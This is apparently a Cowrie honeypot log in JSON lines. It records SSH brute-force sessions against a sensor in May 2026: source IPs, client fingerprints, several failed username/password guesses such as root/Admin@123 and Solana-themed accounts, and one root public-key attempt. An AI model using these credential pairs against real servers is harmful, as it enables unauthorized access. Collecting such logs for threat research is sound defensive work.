{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:16:12.068731Z","src_ip":"202.165.15.132","session":"407048e79934","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:16:12.313646Z","src_ip":"202.165.15.132","session":"407048e79934","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"1q2w3e4r5t","message":"login attempt [deployer/1q2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:16:13.325535Z","src_ip":"202.165.15.132","session":"407048e79934","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:16:14.574869Z","src_ip":"202.165.15.132","session":"407048e79934","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":43138,"dst_ip":"10.17.0.5","dst_port":22,"session":"6081dde8e0a5","protocol":"ssh","message":"New connection: 193.32.162.145:43138 (10.17.0.5:22) [session: 6081dde8e0a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:16:24.223161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:16:24.236597Z","src_ip":"193.32.162.145","session":"6081dde8e0a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:16:24.328696Z","src_ip":"193.32.162.145","session":"6081dde8e0a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"anza","message":"login attempt [sol/anza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:16:24.788520Z","src_ip":"193.32.162.145","session":"6081dde8e0a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:16:25.894975Z","src_ip":"193.32.162.145","session":"6081dde8e0a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":56686,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed8f07960b50","protocol":"ssh","message":"New connection: 103.15.226.202:56686 (10.17.0.5:22) [session: ed8f07960b50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:16:37.261374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:16:37.266515Z","src_ip":"103.15.226.202","session":"ed8f07960b50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:16:37.514088Z","src_ip":"103.15.226.202","session":"ed8f07960b50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:16:38.256560Z","src_ip":"103.15.226.202","session":"ed8f07960b50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:16:39.505919Z","src_ip":"103.15.226.202","session":"ed8f07960b50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.15.132","src_port":18808,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b78342646a3","protocol":"ssh","message":"New connection: 202.165.15.132:18808 (10.17.0.5:22) [session: 9b78342646a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:17:07.781947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:17:07.786428Z","src_ip":"202.165.15.132","session":"9b78342646a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:17:08.030090Z","src_ip":"202.165.15.132","session":"9b78342646a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwe!@","message":"login attempt [ubuntu/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:17:09.037575Z","src_ip":"202.165.15.132","session":"9b78342646a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:17:10.284873Z","src_ip":"202.165.15.132","session":"9b78342646a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.15.132","src_port":28837,"dst_ip":"10.17.0.5","dst_port":22,"session":"186e986a6312","protocol":"ssh","message":"New connection: 202.165.15.132:28837 (10.17.0.5:22) [session: 186e986a6312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:18:03.931916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:18:03.947642Z","src_ip":"202.165.15.132","session":"186e986a6312","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:18:04.203822Z","src_ip":"202.165.15.132","session":"186e986a6312","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":53142,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7cada872364","protocol":"ssh","message":"New connection: 2.57.122.210:53142 (10.17.0.5:22) [session: e7cada872364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:18:05.108415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:18:05.142998Z","src_ip":"2.57.122.210","session":"e7cada872364","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!!!1","message":"login attempt [root/admin!!!1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:18:05.212952Z","src_ip":"202.165.15.132","session":"186e986a6312","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:18:05.272240Z","src_ip":"2.57.122.210","session":"e7cada872364","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"12345678","message":"login attempt [solana/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:18:05.754961Z","src_ip":"2.57.122.210","session":"e7cada872364","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:18:06.459838Z","src_ip":"202.165.15.132","session":"186e986a6312","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:18:06.917449Z","src_ip":"2.57.122.210","session":"e7cada872364","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":34536,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d3cb2868c18","protocol":"ssh","message":"New connection: 193.32.162.145:34536 (10.17.0.5:22) [session: 1d3cb2868c18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:18:37.953340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:18:37.958094Z","src_ip":"193.32.162.145","session":"1d3cb2868c18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:18:38.064670Z","src_ip":"193.32.162.145","session":"1d3cb2868c18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"testnet","message":"login attempt [sol/testnet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:18:38.367729Z","src_ip":"193.32.162.145","session":"1d3cb2868c18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:18:39.478047Z","src_ip":"193.32.162.145","session":"1d3cb2868c18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.255.100.202","src_port":46466,"dst_ip":"10.17.0.5","dst_port":22,"session":"95bcec819ceb","protocol":"ssh","message":"New connection: 185.255.100.202:46466 (10.17.0.5:22) [session: 95bcec819ceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:18:49.593072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:18:49.597114Z","src_ip":"185.255.100.202","session":"95bcec819ceb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:18:49.604507Z","src_ip":"185.255.100.202","session":"95bcec819ceb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:a4:44:d4:0e:a2:23:f1:c5:c2:48:45:53:33:19:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtBHt/KphZ5pGBYx3Zlhnl1YFciEVxOH9NnBlDCHzAcV55LOnnPs6Z8wIZGckbLcIJaFQ1jjyVn3MJsNtUK7ww47Ap2gQBIhSVgtA/P6i17zU3ynTyQJ0F/IrmoWtpVD7x0mTVN5C9uN5v6EFMFsTuYQy6bMvg4MxlG6tGbA/8S2p76gup3M+gArOpRUptmZEf7QsN21Ljakd2XlZgBLSV914FN5+y/hCgVE1LUU/k4f2k6WBZ0PhAi8Hy1D79xt3sKXqjspYn//7YKTbvgDQUR0TSZn4SUIKYzB41fEAn3sgHNmunoOa50t+zNhORRTFb5tckPTzOtxT/F6Z/w1oB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:a4:44:d4:0e:a2:23:f1:c5:c2:48:45:53:33:19:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:18:49.626998Z","src_ip":"185.255.100.202","session":"95bcec819ceb","protocol":"ssh"}
